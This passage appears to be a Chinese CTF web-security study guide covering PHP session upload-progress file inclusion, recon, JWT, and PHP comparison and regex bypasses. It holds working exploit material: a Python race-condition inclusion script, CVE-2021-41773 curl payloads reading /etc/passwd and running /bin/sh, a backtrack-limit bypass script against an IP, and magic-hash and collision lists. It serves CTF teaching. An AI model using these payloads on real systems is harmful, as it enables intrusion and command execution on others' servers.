      我們考慮進行文件包含,之后使用其他方法先對phpinfo進行查看,觀察是否關閉了session.upload_progress.cleanup,若沒有則可以直接使用burp上傳惡意代碼,若存在則需要不停上傳同一個session來確保惡意代碼能夠執行。

      腳本編寫

      我們一般通過python進行腳本編寫(python版本3.8+)

      首先導入兩個庫

      import threading
      import requests
      

      requests用來進行網絡請求,threading用來分離線程,做到不斷循環上傳session從而競爭。

      定義基本信息

      target_url = "http://xxx.xxx.xxx.xxx/index.php"#據情況而定
      session_id = "flag"#自行決定
      expcode = {"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls');?>"}#自行要執行的代碼
      MyCookie = {'PHPSESSID': sessid}#設置本地cookie值和自定義的session_id一致
      proxies = {
          "http": "127.0.0.1:8080",
      }#設置本機代理,也可以不設置
      

      編寫競爭函數

      def send_file(session):#形參為后面多線程的指令集提供入口
          while True:
              resp = requests.post(url=target_url, data=expcode, files={'file': ('res.txt', "nothing")}, cookies=MyCookie)
      

      不停的上傳同樣的post請求。將結果存于res.txt中。

      編寫讀取信息函數

      def getflag(session):
          while True:
              payload_url = target_url + '?file=' + '/tmp/sess_' + session_id
              #根據漏洞進行偽協議讀取文件
              resp = requests.get(url=payload_url)
              if 'upload_progress' in resp.text:
                  print(resp.text)
                  break
      

      main函數

      if __name__ == '__main__':
          session = requests.session()
          t = threading.Thread(target=send_file, args=(session,))#為競爭函數創建一個新線程
          t.start()
          #兩個線程獨立運行
          getflag(session)
      

      完整代碼

      import threading
      import requests
      
      target_url = "http://xxx.xxx.xxx.xxx/index.php"#據情況而定
      session_id = "flag"#自行決定
      expcode = {"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('ls');?>"}#自行要執行的代碼
      MyCookie = {'PHPSESSID': sessid}#設置本地cookie值和自定義的session_id一致
      proxies = {
          "http": "127.0.0.1:8080",
      }#設置本機代理,也可以不設置
      
      def send_file(session):#形參為后面多線程的指令集提供入口
          while True:
              resp = requests.post(url=target_url, data=expcode, files={'file': ('res.txt', "nothing")}, cookies=MyCookie)
      
      def getflag(session):
          while True:
              payload_url = target_url + '?file=' + '/tmp/sess_' + session_id
              #根據漏洞進行偽協議讀取文件
              resp = requests.get(url=payload_url)
              if 'upload_progress' in resp.text:
                  print(resp.text)
                  break
      
      if __name__ == '__main__':
          session = requests.session()
          t = threading.Thread(target=send_file, args=(session,))#為競爭函數創建一個新線程
          t.start()
          #兩個線程獨立運行
          getflag(session)
      
      參考文獻與拓展

      什么是session | 許小珂 (xuxiaoke.com)

      從第五空間 2021\EasyCleanup認識php_session_Aiwin-Lau的博客-CSDN博客

      PHP Session.upload_progress - chalan630 - 博客園 (cnblogs.com)

      [PHP:會話上傳進度 (php官網)](https://www.php.net/manual/en/session.upload-progress.php#:~:text=Session Upload Progress. When the session.upload_progress.enabled INI option,(via XHR for example) to check the status.)

      對于session.upload_progress漏洞的理解_huamanggg的博客-CSDN博客

      詳解利用session進行文件包含合天網安實驗室的博客-CSDN博客session文件包含

      (三)robots協議

      詳解robots協議

      Robots協議(也稱為爬蟲協議、機器人協議等)的全稱是“網絡爬蟲排除標準”(Robots Exclusion Protocol),網站通過Robots協議告訴搜索引擎哪些頁面可以抓取,哪些頁面不能抓取。

      Robots協議也稱為爬蟲協議、爬蟲規則、機器人協議,是網站國際互聯網界通行的道德規范,其目的是保護網站數據和敏感信息、確保用戶個人信息和隱私不被侵犯。“規則”中將搜索引擎抓取網站內容的范圍做了約定,包括網站是否希望被搜索引擎抓取,哪些內容不允許被抓取,而網絡爬蟲可以據此自動抓取或者不抓取該網頁內容。如果將網站視為酒店里的一個房間,robots.txt就是主人在房間門口懸掛的“請勿打擾”或“歡迎打掃”的提示牌。這個文件告訴來訪的搜索引擎哪些房間可以進入和參觀,哪些不對搜索引擎開放。

      如果在服務器返回的請求中有disallowed之類的提示則代表你可以嘗試訪問robots協議(/robots.txt)來找找想要的內容。

      (四)版本控制倉庫的使用和泄漏

      常見的版本控制軟件

      版本控制軟件提供完備的版本管理功能,用于存儲、追蹤目錄(文件夾)和文件的修改歷史,是軟件開發者的必備工具,是軟件公司的基礎設施。版本控制軟件的最高目標,是支持軟件公司的配置管理活動,追蹤多個版本的開發和維護活動,及時發布軟件。

      通常網站會使用這些版本控制倉庫進行動態維護,當我們發現網站存在/.git等目錄的泄漏,代表其使用的版本控制倉庫已經泄漏地址,我們可以在里面找到很多無法通過正常訪問手段查看的內容。

      常見的版本控制倉庫有CVS、SVN、git、Mercurial。

      同時作為正常的開發工具,熟練使用版本控制軟件應當成為我們的必備技能。

      1、git連接github

      在本地安裝好git之后,通過bash,首先先設置ssh到github,之后通過git clone xxx將倉庫克隆到本地,設置global name和email為自己的用戶名和郵箱,然后正常操作即可。

      (五)WEB服務器

      Web服務器當是指駐留于因特網上某種類型計算機的程序。當Web瀏覽器(客戶端)連接到服務器上并請求文件時,服務器會將處理該請求并將文件發送到該瀏覽器上,附帶的信息會告訴瀏覽器如何查看該文件(即文件類型)。Web服務器會使用HTTP進行信息交流,因此Web服務器也常被稱為HTTP服務器。

      Web服務器可駐留于各種類型的計算機,從常見的PC到巨型的UNIX網絡,以及其他各種類型的計算機。它們通常經過一條高速線路與因特網連接,如果對性能無所謂,則也可使用低速連接(甚至是調制解調器)。

      目前,市場上Web服務器產品的種類很多,比較著名的有Apache、Netscape Enterpriise、 Zeus、AOLserver、Roxen WebSerer、Jigsew等。

      一般我們常見的web服務器有Nginx、Apache、IIS(Microsoft),這些web服務器有其各自的特性,作為用戶和服務器之間的橋梁,它們的側重點不一樣,Nginx應對靜態請求效果很好(如.html),Apache應對動態請求(.js/.php/.asp)遠遠強于Nginx,所有根據一些我們能在服務器上見到的特征可以估測和判斷服務器使用的web服務器類型。

      對于Apache服務器,有這些漏洞可以嘗試在早期版本使用:

      CVE-2021-41773(目錄穿越)

      相應的,對應該漏洞的payload是:

      curl -s --path-as-is “:[PORT]/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

      /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
      
      

      curl -s --path-as-is --data “echo;Command“ ”[IP]:[PORT]/cgi-bin/.%2e/%2e%2e/%2e%2e%2e/bin/sh

      /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'A=|echo;id'
      

      CVE-2021-40438(遠程執行)

      等等。

      對于Nginx服務器

      CVE-2021-23017(DNS解析PoC)

      還有因為配置錯誤而造成的Nginx目錄穿越( Nginx漏洞修復之目錄穿越(目錄遍歷)漏洞復現及修復

      等等。

      (六)服務器模板引擎

      模板引擎(這里特指用于Web開發的模板引擎)是為了使用戶界面與業務數據(內容)分離而產生的,它可以生成特定格式的文檔,用于網站的模板引擎就會生成一個標準的HTML文檔。

      模板引擎本質上就是執行動態渲染,一個熱搜榜不可能被寫死,每次更改需要程序員自己手動修改,模板引擎可以做到對指定內容實時渲染替換,做到動態更新。

      一些常見的模板引擎有lask(python3)、jinja2/flask(python)、smarty(PHP)、Twig(PHP)、Freemarker(JavaEE)、velocity(JavaEE);

      (七)數據庫

      數據庫廣泛用于服務器,用來存儲大量的數據并進行讀取等操作,目前市面上數據庫類型種類繁多,有關系型數據庫和非關系型數據庫之分,目前最為常見的數據庫是MySQL,因為其開源和免費而受到眾多開發者的支持。

      但是MySQL在處理超巨量型數據時十分力不從心,專業型數據庫Oracle解決了這個問題,成為企業的數據庫解決方案,此外還有Microsoft的SQL Sever和Access,非關系型數據庫MongoDB,以存儲鍵值高效而持續聞名的redis。

      不同的數據庫在服務端用處也不一致,但他們基本都使用同一的SQL語言進行數據庫操作,這使得數據庫的學習成本降低。

      MySQL+php是常見的前端組合,它們被廣泛用于中小型論壇、博客或其他網站,開發成本低。

      一般服務器中不適用Access作為數據庫存儲。

      redis常用來存儲需要反復讀取的信息,如session信息。redis可以被用來提權,以此來獲得服務器的root權限。

      SQL語句大全

      (八)正則表達式

      正則表達式 – 語法 | 菜鳥教程 (runoob.com)

      如何教你看懂復雜的正則表達式 - superstar - 博客園 (cnblogs.com)

      (九)url編碼

      小tips

      %A0表示NBSP(U + 00A0)。* +表示普通空格(U + 0020)。 NBSP顯示為替換字符(U + FFFD)

      (十)LDAP

      全稱是Lightweight Directory Access Protocol,輕量目錄訪問協議。顧名思義,LDAP是設計用來訪問目錄數據庫的一個協議。協議就是標準,并且是抽象的。在這套標準下,AD(Active Directory)是微軟的對目錄服務數據庫的實現。目錄服務數據庫也是一種數據庫,這種數據庫相對于我們熟知的關系型數據庫(比如MySQL,Oracle)。

      (十一)token

      1、Token的引入:Token是在客戶端頻繁向服務端請求數據,服務端頻繁的去數據庫查詢用戶名和密碼并進行對比,判斷用戶名和密碼正確與否,并作出相應提示,在這樣的背景下,Token便應運而生。

      2、Token的定義:Token是服務端生成的一串字符串,以作客戶端進行請求的一個令牌,當第一次登錄后,服務器生成一個Token便將此Token返回給客戶端,以后客戶端只需帶上這個Token前來請求數據即可,無需再次帶上用戶名和密碼。

      3、使用Token的目的:Token的目的是為了減輕服務器的壓力,減少頻繁的查詢數據庫,使服務器更加健壯。

      有很多token的具體實現。

      JSON 網絡令牌 - jwt.io

      通俗地說,JWT的本質就是一個字符串,它是將用戶信息保存到一個Json字符串中,然后進行編碼后得到一個JWT token,并且這個JWT token帶有簽名信息,接收后可以校驗是否被篡改,所以可以用于在各方之間安全地將信息作為Json對象傳輸。JWT的認證流程如下:

      首先,前端通過Web表單將自己的用戶名和密碼發送到后端的接口,這個過程一般是一個POST請求。建議的方式是通過SSL加密的傳輸(HTTPS),從而避免敏感信息被嗅探。

      后端核對用戶名和密碼成功后,將包含用戶信息的數據作為JWT的Payload,將其與JWT Header分別進行Base64編碼拼接后簽名,形成一個JWT Token,形成的JWT Token就是一個如同lll.zzz.xxx的字符串。

      后端將JWT Token字符串作為登錄成功的結果返回給前端。前端可以將返回的結果保存在瀏覽器中,退出登錄時刪除保存的JWT Token即可。

      前端在每次請求時將JWT Token放入HTTP請求頭中的Authorization屬性中(解決XSS和XSRF問題)
      后端檢查前端傳過來的JWT Token,驗證其有效性,比如檢查簽名是否正確、是否過期、token的接收方是否是自己等等。

      驗證通過后,后端解析出JWT Token中包含的用戶信息,進行其他邏輯操作(一般是根據用戶信息得到權限等),返回結果。

      JWT詳解_baobao555#的博客-CSDN博客_jwt

      JWT需要加密算法,因而對其加密算法的反尋找很重要,這個github項目提供了這個需求的實現方法。

      git clone https://github.com/brendan-rius/c-jwt-cracker.git
      

      二、滲透測試信息收集

      (一)收集域名信息

      whois查詢

      whois(讀作“Who is”,非縮寫)是用來查詢域名的IP以及所有者等信息的傳輸協議。簡單說,whois就是一個用來查詢域名是否已經被注冊,以及注冊域名的詳細信息的數據庫(如域名所有人、域名注冊商)。通過whois來實現對域名信息的查詢。早期的whois查詢多以命令列接口存在,但是現在出現了一些網頁接口簡化的線上查詢工具,可以一次向不同的數據庫查詢。網頁接口的查詢工具仍然依賴whois協議向服務器發送查詢請求,命令列接口的工具仍然被系統管理員廣泛使用。whois通常使用TCP協議43端口。每個域名/IP的whois信息由對應的管理機構保存。

      在kali環境下使用whois 域名就可以查詢到域名的基本信息

      工信部備案查詢

      在我國,所有運營的網站都需要在工信部備案,可以通過工信部官網查詢。

      ICP備案查詢 - 站長工具 (chinaz.com)

      (二)收集敏感信息

      搜索引擎查詢

      搜索引擎基于網絡爬蟲技術,巧妙地運營搜索引擎構造查詢語句可以得到想要的信息。

      搜索引擎語法
      使用搜索引擎搜索的時候,可以使用特定的語法來篩選搜索結果,達到精準搜索的目的。

      1. +(加號)
        搜索結果要求包含兩個及兩個以上關鍵字。

      【用法】:關鍵詞

      【示例】:疑犯追蹤+資源

      【說明】:相當于空格和AND

      1. -(減號)
        排除特定關鍵詞。

      【用法】:關鍵詞 空格 - 關鍵詞

      【示例】:考研 -推廣 -推廣鏈接

      【注意】:百度有些關鍵詞用減號沒用

      1. " "(雙引號)
        完全搜索匹配,搜索結果必須包括雙引號中出現的所有詞,連順序也要保持一致,可用來搜索完整句子。

      【用法】:“關鍵詞”

      【示例】:“疑犯追蹤資源”

      1. OR
        搜索結果至少包含多個關鍵詞中的任意一個。

      【用法】:關鍵詞1 空格 OR 空格 關鍵詞2

      【示例】:疑犯追蹤 OR Person of Interest

      【注意】:OR要大寫

      1. intitle
        檢索標題中含有關鍵詞的網頁。

      【用法】:關鍵詞 空格 intitle:需要限定的關鍵詞

      【示例】:疑犯追蹤 intitle:資源

      1. inurl
        檢索url中包含關鍵詞的網頁。

      【用法】:inurl:關鍵詞

      【示例】:inurl:pan.baidu.com

      1. intext
        檢索某個正文中含有關鍵詞的網頁。

      【用法】:intext:關鍵詞

      【示例】:intext:“后臺登陸”

      1. site
        搜索范圍限定在特定的站點中。

      【用法】:關鍵詞 空格 site:搜索范圍所限定的站點

      【示例】:疑犯追蹤 site:tieba.baidu.com

      【注意】:站點前不用加www或http

      1. filetype
        限定搜索文件類型。

      【用法】:關鍵詞 空格 filetype:文件格式

      【示例】:疑犯追蹤 filetype:pdf

      【注意】:filetype為mp3、mp4、jpg、png時,無搜索結果

      1. 時間1…時間2
        搜索特定時間范圍內的關鍵詞信息。

      【用法】:關鍵詞 空格 時間1…時間2

      【示例】:疑犯追蹤 2016…2018

      1. link
        檢索指定域名的網頁。

      【用法】:link:網址

      【示例】:link:pan.baidu.com

      【說明】:將返回所有包含pan.baidu.com關鍵詞的網頁

      1. related
        檢索相似類型的網頁,用來搜索結構內容方面相似的網頁。

      【用法】:related:網址

      【示例】:related:www.google.com

      【說明】:將返回和www.google.com相似的頁面,指網頁布局相似。

      1. cache
        僅google有效,從google服務器上緩存頁面中查詢信息,可查詢網頁快照。

      【用法】:cache:網址

      【示例】:cache:www.google.com

      1. info
        用來顯示與查詢鏈接相關的一系列搜索結果。

      【用法】:info:網址

      【示例】:info:www.google.com

      1. index of
        搜索允許目錄瀏覽的網頁。

      【用法】index of 空格 關鍵詞

      【示例】index of /admin

      搜索語法可組合使用。

      http抓包查詢

      可以觀察網頁發來的http響應獲得一定的信息。

      wappalyzer

      這是一款可以鑒定網站使用了那些服務的工具,可以識別搭建網站的服務器、解釋器、渲染模板、CMS等。

      三、前端語言與前端注入

      (一)html

      (二)css

      CSS實現鍵盤監聽

      GitHub - maxchehab/CSS-Keylogging: Chrome extension and Express server that exploits keylogging abilities of CSS.

      (三)JavaScript

      JavaScript是一種腳本語言,越來越廣泛的用于網頁的開發,由于其本地執行性,js會被傳到本地執行,因此可以通過本地分析js代碼獲取一些信息。

      (四)xml

      (五)XSS注入

      四、后端語言漏洞與繞過

      (一)php

      魔術方法

      魔術方法是PHP面向對象中特有的特性。它們在特定的情況下被觸發,都是以雙下劃線開頭,利用魔術方法可以輕松實現PHP面向對象中重載(Overloading即動態創建類屬性和方法)。 問題就出現在重載過程中,執行了相關代碼。

      1、__get、__set
      
      這兩個方法是為在類和他們的父類中沒有聲明的屬性而設計的
      
      __get( $property ) 當調用一個未定義的屬性時訪問此方法
      
      __set( $property, $value ) 給一個未定義的屬性賦值時調用
      
      這里的沒有聲明包括訪問控制為proteced,private的屬性(即沒有權限訪問的屬性)
      
      2、__isset、__unset
      
      __isset( $property ) 當在一個未定義的屬性上調用isset()函數時調用此方法
      
      __unset( $property ) 當在一個未定義的屬性上調用unset()函數時調用此方法
      
      與__get方法和__set方法相同,這里的沒有聲明包括訪問控制為proteced,private的屬性(即沒有權限訪問的屬性)
      
      3、__call
      
      __call( $method, $arg_array ) 當調用一個未定義(包括沒有權限訪問)的方法是調用此方法
      
      4、__autoload
      
      __autoload 函數,使用尚未被定義的類時自動調用。通過此函數,腳本引擎在 PHP 出錯失敗前有了最后一個機會加載所需的類。
      
      注意: 在 __autoload 函數中拋出的異常不能被 catch 語句塊捕獲并導致致命錯誤。
      
      5、__construct、__destruct
      
      __construct 構造方法,當一個對象被創建時調用此方法,好處是可以使構造方法有一個獨一無二的名稱,無論它所在的類的名稱是什么,這樣你在改變類的名稱時,就不需要改變構造方法的名稱
      
      __destruct 析構方法,PHP將在對象被銷毀前(即從內存中清除前)調用這個方法
      
      默認情況下,PHP僅僅釋放對象屬性所占用的內存并銷毀對象相關的資源.,析構函數允許你在使用一個對象之后執行任意代碼來清除內存,當PHP決定你的腳本不再與對象相關時,析構函數將被調用.
      
      在一個函數的命名空間內,這會發生在函數return的時候,對于全局變量,這發生于腳本結束的時候,如果你想明確地銷毀一個對象,你可以給指向該對象的變量分配任何其它值,通常將變量賦值勤為NULL或者調用unset。
      
      6、__clone
      
      PHP5中的對象賦值是使用的引用賦值,使用clone方法復制一個對象時,對象會自動調用__clone魔術方法,如果在對象復制需要執行某些初始化操作,可以在__clone方法實現。
      
      7、__toString
      
      __toString方法在將一個對象轉化成字符串時自動調用,比如使用echo打印對象時,如果類沒有實現此方法,則無法通過echo打印對象,否則會顯示:Catchable fatal error: Object of class test could not be converted to string in,此方法必須返回一個字符串。
      
      在PHP 5.2.0之前,__toString方法只有結合使用echo() 或 print()時 才能生效。PHP 5.2.0之后,則可以在任何字符串環境生效(例如通過printf(),使用%s修飾符),但 不能用于非字符串環境(如使用%d修飾符)
      
      從PHP 5.2.0,如果將一個未定義__toString方法的對象 轉換為字符串,會報出一個E_RECOVERABLE_ERROR錯誤。
      
      8、__sleep、__wakeup
      
      __sleep 串行化的時候用
      
      __wakeup 反串行化的時候調用
      
      serialize() 檢查類中是否有魔術名稱 __sleep 的函數。如果這樣,該函數將在任何序列化之前運行。它可以清除對象并應該返回一個包含有該對象中應被序列化的所有變量名的數組。
      
      使用 __sleep 的目的是關閉對象可能具有的任何數據庫連接,提交等待中的數據或進行類似的清除任務。此外,如果有非常大的對象而并不需要完全儲存下來時此函數也很有用。
      
      相反地,unserialize() 檢查具有魔術名稱 __wakeup 的函數的存在。如果存在,此函數可以重建對象可能具有的任何資源。使用 __wakeup 的目的是重建在序列化中可能丟失的任何數據庫連接以及處理其它重新初始化的任務。
      
      9、__set_state
      
      當調用var_export()時,這個靜態 方法會被調用(自PHP 5.1.0起有效)。本方法的唯一參數是一個數組,其中包含按array(’property’ => value, …)格式排列的類屬性。
      
      10、__invoke
      
      當嘗試以調用函數的方式調用一個對象時,__invoke 方法會被自動調用。PHP5.3.0以上版本有效
      
      11、__callStatic
      
      它的工作方式類似于 __call() 魔術方法,__callStatic() 是為了處理靜態方法調用,PHP5.3.0以上版本有效,PHP 確實加強了對 __callStatic() 方法的定義;它必須是公共的,并且必須被聲明為靜態的。
      
      同樣,__call() 魔術方法必須被定義為公共的,所有其他魔術方法都必須如此。
      

      函數繞過

      1、preg_match()
      preg_match($pattern,$subject [, &$matches [, $flags = 0 [, $offset = 0 ]]]);
      

      \(pattern:要搜索的模式,也就是編輯好的正則表達式; \)subject:要搜索的字符串;
      $matches:可選參數(數組類型),如果提供了 $matches,它將被填充為搜索結果。 $matches[0] 包含完整模式匹配到的文本, \(matches[1] 包含第一個捕獲子組匹配到的文本,以此類推; flags:可選參數,flags 可以被設置為 PREG_OFFSET_CAPTURE,如果傳遞了這個標記,對于每一個出現的匹配,返回時都會附加上字符串偏移量(相對于目標字符串的); \)offset:可選參數,用于指定從目標字符串的哪個位置開始搜索(單位是字節)。

      繞過原理:pcre.backtrack_limit

      php為了防止DDoS攻擊設計了訪問上限,一般來說默認的訪問限制次數是十萬到一百萬,只要提交的字符串在匹配函數的調用過程中,函數回溯超過這個上限,那么函數自動返回false來結束運行。

      下面是一個例子([NISACTF 2022]middlerce):

      <?php
      include "check.php";
      if (isset($_REQUEST['letter'])){
          $txw4ever = $_REQUEST['letter'];
          if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
              die("再加把油喔");
          }
          else{
              $command = json_decode($txw4ever,true)['cmd'];
              checkdata($command);
              @eval($command);
          }
      }
      else{
          highlight_file(__FILE__);
      }
      ?>
      

      php源碼中顯示了關鍵的正則表達式,我們通過構造多個$來強迫其返回false,構造的exp如下:

      import threading
      import requests
      payload = '{"cmd":"?><?= `tail /f*`?>", "$":"' + "$"*(1000000) + '"}'
      res = requests.post("http://1.14.71.254:28159/",data = {"letter":payload})
      print(res.text)
      

      此外,還可以通過url編碼取反的方式繞過

      <?php
      echo urlencode(~("phpinfo();"));
      ?>
      

      之后可以在傳入參數的時候進行取反,兩次相同的取反結果一致,由于php的動態執行,字符串先以不可讀的url編碼形式與perg_match進行匹配,然后當進入eval等危險函數時,便會先取反恢復可讀性,然后再執行。

      2、__wakeup()繞過

      (CVE-2016-7124)

      在被反序列化的過程中對象會觸發其內部的__wakeup()函數,如果需要繞過,只需要修改序列化對象的參數列表使其參數個數與實際參數不同即可,如:

      O:4:"Test":3:{s:7:"Testa";s:7:"private";s:1:"b";s:6:"public";s:4:"*c";s:9:"protected";}
      

      為了繞過我們通常修改其為:

      O:4:"Test":11:{s:7:"Testa";s:7:"private";s:1:"b";s:6:"public";s:4:"*c";s:9:"protected";}
      
      3、加密函數(md5\sha1)繞過

      md5和sha1都是不可逆加密,目前沒用有效的破解方法(除了暴力破解),php中經常使用md5()\sha1()函數來進行加密判斷。

      根據php的特性,判斷兩個變量相等有==(弱相等),===(強相等),當出現弱相等比較時,如:

      if(md5($_GET['in1']) == md5($_GET['in2'])){........}
      

      我們可以采用兩種繞過方法:

      1.類型繞過

      md5()或sha1()只能傳入數字,所以當我們傳入非數字變量時,函數會返回null,可以利用這個特點來傳入數組以繞過,in1[]=0&in2[]=1

      2.科學計數法繞過

      MD5()會將0e開頭的字符串直接識別成0,所以一些0e開頭的字符串可以用于繞過,常見的0e開頭的字符串有:

      0e215962017
      0e291242476940776845150308577824
      上面這個是比較常用的自身取md值仍然等于0e
      s878926199a
      0e545993274517709034328855841020
      s155964671a
      0e342768416822451524974117254469
      s214587387a
      0e848240448830537924465865611904
      s214587387a
      0e848240448830537924465865611904
      s878926199a
      0e545993274517709034328855841020
      s1091221200a
      0e940624217856561557816327384675
      s1885207154a
      0e509367213418206700842008763514
      s1502113478a
      0e861580163291561247404381396064
      s1885207154a
      0e509367213418206700842008763514
      s1836677006a
      0e481036490867661113260034900752
      s155964671a
      0e342768416822451524974117254469
      s1184209335a
      0e072485820392773389523109082030
      s1665632922a
      0e731198061491163073197128363787
      s1502113478a
      0e861580163291561247404381396064
      s1836677006a
      0e481036490867661113260034900752
      s1091221200a
      0e940624217856561557816327384675
      s155964671a
      0e342768416822451524974117254469
      s1502113478a
      0e861580163291561247404381396064
      s155964671a
      0e342768416822451524974117254469
      s1665632922a
      0e731198061491163073197128363787
      s155964671a
      0e342768416822451524974117254469
      s1091221200a
      0e940624217856561557816327384675
      s1836677006a
      0e481036490867661113260034900752
      s1885207154a
      0e509367213418206700842008763514
      s532378020a
      0e220463095855511507588041205815
      s878926199a
      0e545993274517709034328855841020
      s1091221200a
      0e940624217856561557816327384675
      s214587387a
      0e848240448830537924465865611904
      s1502113478a
      0e861580163291561247404381396064
      s1091221200a
      0e940624217856561557816327384675
      s1665632922a
      0e731198061491163073197128363787
      s1885207154a
      0e509367213418206700842008763514
      s1836677006a
      0e481036490867661113260034900752
      s1665632922a
      0e731198061491163073197128363787
      s878926199a
      0e545993274517709034328855841020
      240610708
      0e462097431906509019562988736854
      314282422
      0e990995504821699494520356953734
      571579406
      0e972379832854295224118025748221
      903251147
      0e174510503823932942361353209384
      1110242161
      0e435874558488625891324861198103
      1320830526
      0e912095958985483346995414060832
      1586264293
      0e622743671155995737639662718498
      2302756269
      0e250566888497473798724426794462
      2427435592
      0e067696952328669732475498472343
      2653531602
      0e877487522341544758028810610885
      3293867441
      0e471001201303602543921144570260
      3295421201
      0e703870333002232681239618856220
      3465814713
      0e258631645650999664521705537122
      3524854780
      0e507419062489887827087815735195
      3908336290
      0e807624498959190415881248245271
      4011627063
      0e485805687034439905938362701775
      4775635065
      0e998212089946640967599450361168
      4790555361
      0e643442214660994430134492464512
      5432453531
      0e512318699085881630861890526097
      5579679820
      0e877622011730221803461740184915
      5585393579
      0e664357355382305805992765337023
      6376552501
      0e165886706997482187870215578015
      7124129977
      0e500007361044747804682122060876
      7197546197
      0e915188576072469101457315675502
      7656486157
      0e451569119711843337267091732412
      QLTHNDT
      0e405967825401955372549139051580
      QNKCDZO
      0e830400451993494058024219903391
      EEIZDOI
      0e782601363539291779881938479162
      TUFEPMC
      0e839407194569345277863905212547
      UTIPEZQ
      0e382098788231234954670291303879
      UYXFLOI
      0e552539585246568817348686838809
      IHKFRNS
      0e256160682445802696926137988570
      PJNPDWY
      0e291529052894702774557631701704
      ABJIHVY
      0e755264355178451322893275696586
      DQWRASX
      0e742373665639232907775599582643
      DYAXWCA
      0e424759758842488633464374063001
      GEGHBXL
      0e248776895502908863709684713578
      GGHMVOE
      0e362766013028313274586933780773
      GZECLQZ
      0e537612333747236407713628225676
      NWWKITQ
      0e763082070976038347657360817689
      NOOPCJF
      0e818888003657176127862245791911
      MAUXXQC
      0e478478466848439040434801845361
      MMHUWUV
      0e701732711630150438129209816536

      當出現強類型等于時,可以使用數組繞過,但不能使用科學計數法繞過,

      if(md5($_GET['in1']) === md5($_GET['in2'])){........}
      

      此時我們考慮用MD5碰撞,MD5碰撞技術可以根據一個前綴生成兩個md5值相等但本身不同的字符串值,一般我們使用工具fastcoll,但fastcoll生成的文件無法直接閱讀,需要傳入php環境進行url編碼,所以有如下常用的碰撞結果:

      常用的MD5碰撞
      param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
      
      param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
      

      array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
      
      &array2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
      
      常用的sha1碰撞
      array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
      
          &array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
      
      

      注意:php8不支持數組繞過

      4、is_numeric漏洞

      會忽視0x這種十六進制的數

      容易引發sql注入操作,暴漏敏感信息

      echo json_encode([
          is_numeric(233333),
          is_numeric('233333'),
          is_numeric(0x233333),
          is_numeric('0x233333'),
          is_numeric('233333abc'),
      ]);
      

      結果如下

      16進制數0x61646D696EASII碼對應的值是admin

      如果我們執行了后面這條命令的話:SELECT * FROM tp_user where username=0x61646D696E,結果不言而喻

      [
          true,
          true,
          true,
          false,
          false
      ]
      
      5、in_array漏洞

      in_array中是先將類型轉為整形,再進行判斷

      轉換的時候,如果將字符串轉換為整形,從字符串非整形的地方截止轉換,如果無法轉換,將會返回0

      <?php
      var_dump(in_array("2%20and%20%", [0,2,3]));
      

      結果如下

      bool(true)
      
      6、switch漏洞

      switch中是先將類型轉為整形,再進行判斷

